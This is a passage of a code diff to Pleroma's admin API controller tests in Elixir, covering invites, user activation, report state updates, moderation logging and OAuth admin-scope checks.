+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} revoked admin role from @#{user_one.nickname}, @#{
+ user_two.nickname
+ }"
end
end
describe "POST /api/pleroma/admin/email_invite, with valid config" do
- setup do
- registrations_open = Pleroma.Config.get([:instance, :registrations_open])
- invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
+ clear_config([:instance, :registrations_open]) do
Pleroma.Config.put([:instance, :registrations_open], false)
- Pleroma.Config.put([:instance, :invites_enabled], true)
-
- on_exit(fn ->
- Pleroma.Config.put([:instance, :registrations_open], registrations_open)
- Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
- :ok
- end)
+ end
- [user: insert(:user, info: %{is_admin: true})]
+ clear_config([:instance, :invites_enabled]) do
+ Pleroma.Config.put([:instance, :invites_enabled], true)
end
- test "sends invitation and returns 204", %{conn: conn, user: user} do
+ test "sends invitation and returns 204", %{admin: admin, conn: conn} do
recipient_email = "foo@bar.com"
recipient_name = "J. D."
conn =
- conn
- |> assign(:user, user)
- |> post(
+ post(
+ conn,
"/api/pleroma/admin/users/email_invite?email=#{recipient_email}&name=#{recipient_name}"
)
assert json_response(conn, :no_content)
- token_record = List.last(Pleroma.Repo.all(Pleroma.UserInviteToken))
+ token_record = List.last(Repo.all(Pleroma.UserInviteToken))
assert token_record
refute token_record.used
@@ -330,7 +607,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
email =
Pleroma.Emails.UserEmail.user_invitation_email(
- user,
+ admin,
token_record,
recipient_email,
recipient_name
@@ -343,12 +620,14 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
)
end
- test "it returns 403 if requested by a non-admin", %{conn: conn} do
+ test "it returns 403 if requested by a non-admin" do
non_admin_user = insert(:user)
+ token = insert(:oauth_token, user: non_admin_user)
conn =
- conn
+ build_conn()
|> assign(:user, non_admin_user)
+ |> assign(:token, token)
|> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")
assert json_response(conn, :forbidden)
@@ -356,87 +635,42 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do
- setup do
- [user: insert(:user, info: %{is_admin: true})]
- end
+ clear_config([:instance, :registrations_open])
+ clear_config([:instance, :invites_enabled])
- test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn, user: user} do
- registrations_open = Pleroma.Config.get([:instance, :registrations_open])
- invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
+ test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn} do
Pleroma.Config.put([:instance, :registrations_open], false)
Pleroma.Config.put([:instance, :invites_enabled], false)
- on_exit(fn ->
- Pleroma.Config.put([:instance, :registrations_open], registrations_open)
- Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
- :ok
- end)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")
+ conn = post(conn, "/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")
assert json_response(conn, :internal_server_error)
end
- test "it returns 500 if `registrations_open` is enabled", %{conn: conn, user: user} do
- registrations_open = Pleroma.Config.get([:instance, :registrations_open])
- invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
+ test "it returns 500 if `registrations_open` is enabled", %{conn: conn} do
Pleroma.Config.put([:instance, :registrations_open], true)
Pleroma.Config.put([:instance, :invites_enabled], true)
- on_exit(fn ->
- Pleroma.Config.put([:instance, :registrations_open], registrations_open)
- Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
- :ok
- end)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")
+ conn = post(conn, "/api/pleroma/admin/users/email_invite?email=foo@bar.com&name=JD")
assert json_response(conn, :internal_server_error)
end
end
- test "/api/pleroma/admin/users/invite_token" do
- admin = insert(:user, info: %{is_admin: true})
-
- conn =
- build_conn()
- |> assign(:user, admin)
- |> put_req_header("accept", "application/json")
- |> get("/api/pleroma/admin/users/invite_token")
-
- assert conn.status == 200
- end
-
- test "/api/pleroma/admin/users/:nickname/password_reset" do
- admin = insert(:user, info: %{is_admin: true})
+ test "/api/pleroma/admin/users/:nickname/password_reset", %{conn: conn} do
user = insert(:user)
conn =
- build_conn()
- |> assign(:user, admin)
+ conn
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
- assert conn.status == 200
+ resp = json_response(conn, 200)
+
+ assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
end
describe "GET /api/pleroma/admin/users" do
- setup do
- admin = insert(:user, info: %{is_admin: true})
-
- conn =
- build_conn()
- |> assign(:user, admin)
-
- {:ok, conn: conn, admin: admin}
- end
-
test "renders users array for the first page", %{conn: conn, admin: admin} do
user = insert(:user, local: false, tags: ["foo", "bar"])
conn = get(conn, "/api/pleroma/admin/users?page=1")
@@ -444,24 +678,26 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
users =
[
%{
- "deactivated" => admin.info.deactivated,
+ "deactivated" => admin.deactivated,
"id" => admin.id,
"nickname" => admin.nickname,
"roles" => %{"admin" => true, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(admin) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(admin.name || admin.nickname)
+ "display_name" => HTML.strip_tags(admin.name || admin.nickname),
+ "confirmation_pending" => false
},
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => false,
"tags" => ["foo", "bar"],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
|> Enum.sort_by(& &1["nickname"])
@@ -495,14 +731,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -519,14 +756,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -543,14 +781,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -567,14 +806,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -591,14 +831,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -615,14 +856,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 1,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -634,21 +876,23 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 1,
"users" => [
%{
- "deactivated" => user2.info.deactivated,
+ "deactivated" => user2.deactivated,
"id" => user2.id,
"nickname" => user2.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user2) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user2.name || user2.nickname)
+ "display_name" => HTML.strip_tags(user2.name || user2.nickname),
+ "confirmation_pending" => false
}
]
}
end
test "only local users" do
- admin = insert(:user, info: %{is_admin: true}, nickname: "john")
+ admin = insert(:user, is_admin: true, nickname: "john")
+ token = insert(:oauth_admin_token, user: admin)
user = insert(:user, nickname: "bob")
insert(:user, nickname: "bobb", local: false)
@@ -656,6 +900,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
conn =
build_conn()
|> assign(:user, admin)
+ |> assign(:token, token)
|> get("/api/pleroma/admin/users?query=bo&filters=local")
assert json_response(conn, 200) == %{
@@ -663,51 +908,51 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
]
}
end
- test "only local users with no query", %{admin: old_admin} do
- admin = insert(:user, info: %{is_admin: true}, nickname: "john")
+ test "only local users with no query", %{conn: conn, admin: old_admin} do
+ admin = insert(:user, is_admin: true, nickname: "john")
user = insert(:user, nickname: "bob")
insert(:user, nickname: "bobb", local: false)
- conn =
- build_conn()
- |> assign(:user, admin)
- |> get("/api/pleroma/admin/users?filters=local")
+ conn = get(conn, "/api/pleroma/admin/users?filters=local")
users =
[
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
},
%{
- "deactivated" => admin.info.deactivated,
+ "deactivated" => admin.deactivated,
"id" => admin.id,
"nickname" => admin.nickname,
"roles" => %{"admin" => true, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(admin) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(admin.name || admin.nickname)
+ "display_name" => HTML.strip_tags(admin.name || admin.nickname),
+ "confirmation_pending" => false
},
%{
"deactivated" => false,
@@ -717,7 +962,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"roles" => %{"admin" => true, "moderator" => false},
"tags" => [],
"avatar" => User.avatar_url(old_admin) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname)
+ "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname),
+ "confirmation_pending" => false
}
]
|> Enum.sort_by(& &1["nickname"])
@@ -730,7 +976,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "load only admins", %{conn: conn, admin: admin} do
- second_admin = insert(:user, info: %{is_admin: true})
+ second_admin = insert(:user, is_admin: true)
insert(:user)
insert(:user)
@@ -746,7 +992,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"local" => admin.local,
"tags" => [],
"avatar" => User.avatar_url(admin) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(admin.name || admin.nickname)
+ "display_name" => HTML.strip_tags(admin.name || admin.nickname),
+ "confirmation_pending" => false
},
%{
"deactivated" => false,
@@ -756,7 +1003,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"local" => second_admin.local,
"tags" => [],
"avatar" => User.avatar_url(second_admin) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname)
+ "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname),
+ "confirmation_pending" => false
}
]
|> Enum.sort_by(& &1["nickname"])
@@ -769,7 +1017,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "load only moderators", %{conn: conn} do
- moderator = insert(:user, info: %{is_moderator: true})
+ moderator = insert(:user, is_moderator: true)
insert(:user)
insert(:user)
@@ -787,7 +1035,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"local" => moderator.local,
"tags" => [],
"avatar" => User.avatar_url(moderator) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(moderator.name || moderator.nickname)
+ "display_name" => HTML.strip_tags(moderator.name || moderator.nickname),
+ "confirmation_pending" => false
}
]
}
@@ -811,7 +1060,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"local" => user1.local,
"tags" => ["first"],
"avatar" => User.avatar_url(user1) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user1.name || user1.nickname)
+ "display_name" => HTML.strip_tags(user1.name || user1.nickname),
+ "confirmation_pending" => false
},
%{
"deactivated" => false,
@@ -821,7 +1071,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"local" => user2.local,
"tags" => ["second"],
"avatar" => User.avatar_url(user2) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user2.name || user2.nickname)
+ "display_name" => HTML.strip_tags(user2.name || user2.nickname),
+ "confirmation_pending" => false
}
]
|> Enum.sort_by(& &1["nickname"])
@@ -834,15 +1085,17 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "it works with multiple filters" do
- admin = insert(:user, nickname: "john", info: %{is_admin: true})
- user = insert(:user, nickname: "bob", local: false, info: %{deactivated: true})
+ admin = insert(:user, nickname: "john", is_admin: true)
+ token = insert(:oauth_admin_token, user: admin)
+ user = insert(:user, nickname: "bob", local: false, deactivated: true)
- insert(:user, nickname: "ken", local: true, info: %{deactivated: true})
- insert(:user, nickname: "bobb", local: false, info: %{deactivated: false})
+ insert(:user, nickname: "ken", local: true, deactivated: true)
+ insert(:user, nickname: "bobb", local: false, deactivated: false)
conn =
build_conn()
|> assign(:user, admin)
+ |> assign(:token, token)
|> get("/api/pleroma/admin/users?filters=deactivated,external")
assert json_response(conn, 200) == %{
@@ -850,58 +1103,115 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"page_size" => 50,
"users" => [
%{
- "deactivated" => user.info.deactivated,
+ "deactivated" => user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => user.local,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
+ }
+ ]
+ }
+ end
+
+ test "it omits relay user", %{admin: admin, conn: conn} do
+ assert %User{} = Relay.get_actor()
+
+ conn = get(conn, "/api/pleroma/admin/users")
+
+ assert json_response(conn, 200) == %{
+ "count" => 1,
+ "page_size" => 50,
+ "users" => [
+ %{
+ "deactivated" => admin.deactivated,
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "roles" => %{"admin" => true, "moderator" => false},
+ "local" => true,
+ "tags" => [],
+ "avatar" => User.avatar_url(admin) |> MediaProxy.url(),
+ "display_name" => HTML.strip_tags(admin.name || admin.nickname),
+ "confirmation_pending" => false
}
]
}
end
end
- test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation" do
- admin = insert(:user, info: %{is_admin: true})
- user = insert(:user)
+ test "PATCH /api/pleroma/admin/users/activate", %{admin: admin, conn: conn} do
+ user_one = insert(:user, deactivated: true)
+ user_two = insert(:user, deactivated: true)
conn =
- build_conn()
- |> assign(:user, admin)
- |> patch("/api/pleroma/admin/users/#{user.nickname}/toggle_activation")
+ patch(
+ conn,
+ "/api/pleroma/admin/users/activate",
+ %{nicknames: [user_one.nickname, user_two.nickname]}
+ )
+
+ response = json_response(conn, 200)
+ assert Enum.map(response["users"], & &1["deactivated"]) == [false, false]
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} activated users: @#{user_one.nickname}, @#{user_two.nickname}"
+ end
+
+ test "PATCH /api/pleroma/admin/users/deactivate", %{admin: admin, conn: conn} do
+ user_one = insert(:user, deactivated: false)
+ user_two = insert(:user, deactivated: false)
+
+ conn =
+ patch(
+ conn,
+ "/api/pleroma/admin/users/deactivate",
+ %{nicknames: [user_one.nickname, user_two.nickname]}
+ )
+
+ response = json_response(conn, 200)
+ assert Enum.map(response["users"], & &1["deactivated"]) == [true, true]
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} deactivated users: @#{user_one.nickname}, @#{user_two.nickname}"
+ end
+
+ test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation", %{admin: admin, conn: conn} do
+ user = insert(:user)
+
+ conn = patch(conn, "/api/pleroma/admin/users/#{user.nickname}/toggle_activation")
assert json_response(conn, 200) ==
%{
- "deactivated" => !user.info.deactivated,
+ "deactivated" => !user.deactivated,
"id" => user.id,
"nickname" => user.nickname,
"roles" => %{"admin" => false, "moderator" => false},
"local" => true,
"tags" => [],
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
- "display_name" => HTML.strip_tags(user.name || user.nickname)
+ "display_name" => HTML.strip_tags(user.name || user.nickname),
+ "confirmation_pending" => false
}
- end
-
- describe "GET /api/pleroma/admin/users/invite_token" do
- setup do
- admin = insert(:user, info: %{is_admin: true})
- conn =
- build_conn()
- |> assign(:user, admin)
+ log_entry = Repo.one(ModerationLog)
- {:ok, conn: conn}
- end
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} deactivated users: @#{user.nickname}"
+ end
+ describe "POST /api/pleroma/admin/users/invite_token" do
test "without options", %{conn: conn} do
- conn = get(conn, "/api/pleroma/admin/users/invite_token")
+ conn = post(conn, "/api/pleroma/admin/users/invite_token")
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
refute invite.max_use
@@ -910,12 +1220,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
@@ -924,13 +1234,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "with max_use", %{conn: conn} do
- conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150}
- })
+ conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
assert invite.max_use == 150
@@ -939,12 +1246,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with max use and expires_at", %{conn: conn} do
conn =
- get(conn, "/api/pleroma/admin/users/invite_token", %{
- "invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
+ post(conn, "/api/pleroma/admin/users/invite_token", %{
+ "max_use" => 150,
+ "expires_at" => Date.to_string(Date.utc_today())
})
- token = json_response(conn, 200)
- invite = UserInviteToken.find_by_token!(token)
+ invite_json = json_response(conn, 200)
+ invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
assert invite.max_use == 150
@@ -953,16 +1261,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
describe "GET /api/pleroma/admin/users/invites" do
- setup do
- admin = insert(:user, info: %{is_admin: true})
-
- conn =
- build_conn()
- |> assign(:user, admin)
-
- {:ok, conn: conn}
- end
-
test "no invites", %{conn: conn} do
conn = get(conn, "/api/pleroma/admin/users/invites")
@@ -991,14 +1289,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
describe "POST /api/pleroma/admin/users/revoke_invite" do
- test "with token" do
- admin = insert(:user, info: %{is_admin: true})
+ test "with token", %{conn: conn} do
{:ok, invite} = UserInviteToken.create_invite()
- conn =
- build_conn()
- |> assign(:user, admin)
- |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token})
+ conn = post(conn, "/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token})
assert json_response(conn, 200) == %{
"expires_at" => nil,
@@ -1010,15 +1304,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"uses" => 0
}
end
- end
- describe "GET /api/pleroma/admin/reports/:id" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ test "with invalid token", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/admin/users/revoke_invite", %{"token" => "foo"})
- %{conn: assign(conn, :user, admin)}
+ assert json_response(conn, :not_found) == "Not found"
end
+ end
+ describe "GET /api/pleroma/admin/reports/:id" do
test "returns report by its id", %{conn: conn} do
[reporter, target_user] = insert_pair(:user)
activity = insert(:note_activity, user: target_user)
@@ -1045,9 +1339,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
end
- describe "PUT /api/pleroma/admin/reports/:id" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ describe "PATCH /api/pleroma/admin/reports" do
+ setup do
[reporter, target_user] = insert_pair(:user)
activity = insert(:note_activity, user: target_user)
@@ -1058,51 +1351,134 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"status_ids" => [activity.id]
})
- %{conn: assign(conn, :user, admin), id: report_id}
+ {:ok, %{id: second_report_id}} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "comment" => "I feel very offended",
+ "status_ids" => [activity.id]
+ })
+
+ %{
+ id: report_id,
+ second_report_id: second_report_id
+ }
end
- test "mark report as resolved", %{conn: conn, id: id} do
+ test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do
+ read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"])
+ write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"])
+
response =
conn
- |> put("/api/pleroma/admin/reports/#{id}", %{"state" => "resolved"})
- |> json_response(:ok)
+ |> assign(:token, read_token)
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [%{"state" => "resolved", "id" => id}]
+ })
+ |> json_response(403)
+
+ assert response == %{
+ "error" => "Insufficient permissions: admin:write:reports."
+ }
- assert response["state"] == "resolved"
+ conn
+ |> assign(:token, write_token)
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [%{"state" => "resolved", "id" => id}]
+ })
+ |> json_response(:no_content)
end
- test "closes report", %{conn: conn, id: id} do
- response =
- conn
- |> put("/api/pleroma/admin/reports/#{id}", %{"state" => "closed"})
- |> json_response(:ok)
+ test "mark report as resolved", %{conn: conn, id: id, admin: admin} do
+ conn
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [
+ %{"state" => "resolved", "id" => id}
+ ]
+ })
+ |> json_response(:no_content)
+
+ activity = Activity.get_by_id(id)
+ assert activity.data["state"] == "resolved"
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} updated report ##{id} with 'resolved' state"
+ end
+
+ test "closes report", %{conn: conn, id: id, admin: admin} do
+ conn
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [
+ %{"state" => "closed", "id" => id}
+ ]
+ })
+ |> json_response(:no_content)
+
+ activity = Activity.get_by_id(id)
+ assert activity.data["state"] == "closed"
- assert response["state"] == "closed"
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} updated report ##{id} with 'closed' state"
end
test "returns 400 when state is unknown", %{conn: conn, id: id} do
conn =
conn
- |> put("/api/pleroma/admin/reports/#{id}", %{"state" => "test"})
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [
+ %{"state" => "test", "id" => id}
+ ]
+ })
- assert json_response(conn, :bad_request) == "Unsupported state"
+ assert hd(json_response(conn, :bad_request))["error"] == "Unsupported state"
end
test "returns 404 when report is not exist", %{conn: conn} do
conn =
conn
- |> put("/api/pleroma/admin/reports/test", %{"state" => "closed"})
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [
+ %{"state" => "closed", "id" => "test"}
+ ]
+ })
- assert json_response(conn, :not_found) == "Not found"
+ assert hd(json_response(conn, :bad_request))["error"] == "not_found"
end
- end
- describe "GET /api/pleroma/admin/reports" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ test "updates state of multiple reports", %{
+ conn: conn,
+ id: id,
+ admin: admin,
+ second_report_id: second_report_id
+ } do
+ conn
+ |> patch("/api/pleroma/admin/reports", %{
+ "reports" => [
+ %{"state" => "resolved", "id" => id},
+ %{"state" => "closed", "id" => second_report_id}
+ ]
+ })
+ |> json_response(:no_content)
- %{conn: assign(conn, :user, admin)}
+ activity = Activity.get_by_id(id)
+ second_activity = Activity.get_by_id(second_report_id)
+ assert activity.data["state"] == "resolved"
+ assert second_activity.data["state"] == "closed"
+
+ [first_log_entry, second_log_entry] = Repo.all(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(first_log_entry) ==
+ "@#{admin.nickname} updated report ##{id} with 'resolved' state"
+
+ assert ModerationLog.get_log_entry_message(second_log_entry) ==
+ "@#{admin.nickname} updated report ##{second_report_id} with 'closed' state"
end
+ end
+ describe "GET /api/pleroma/admin/reports" do
test "returns empty response when no reports created", %{conn: conn} do
response =
conn
@@ -1110,6 +1486,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns reports", %{conn: conn} do
@@ -1132,6 +1509,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert report["id"] == report_id
+
+ assert response["total"] == 1
end
test "returns reports with specified state", %{conn: conn} do
@@ -1165,6 +1544,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert open_report["id"] == first_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1177,6 +1558,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert closed_report["id"] == second_report_id
+ assert response["total"] == 1
+
response =
conn
|> get("/api/pleroma/admin/reports", %{
@@ -1185,85 +1568,240 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
+ assert response["total"] == 0
end
test "returns 403 when requested by a non-admin" do
user = insert(:user)
+ token = insert(:oauth_token, user: user)
conn =
build_conn()
|> assign(:user, user)
+ |> assign(:token, token)
|> get("/api/pleroma/admin/reports")
- assert json_response(conn, :forbidden) == %{"error" => "User is not admin."}
+ assert json_response(conn, :forbidden) ==
+ %{"error" => "User is not an admin or OAuth admin scope is not granted."}
end
test "returns 403 when requested by anonymous" do
- conn =
- build_conn()
- |> get("/api/pleroma/admin/reports")
+ conn = get(build_conn(), "/api/pleroma/admin/reports")
assert json_response(conn, :forbidden) == %{"error" => "Invalid credentials."}
end
end
- describe "POST /api/pleroma/admin/reports/:id/respond" do
- setup %{conn: conn} do
- admin = insert(:user, info: %{is_admin: true})
+ describe "GET /api/pleroma/admin/grouped_reports" do
+ setup do
+ [reporter, target_user] = insert_pair(:user)
- %{conn: assign(conn, :user, admin)}
- end
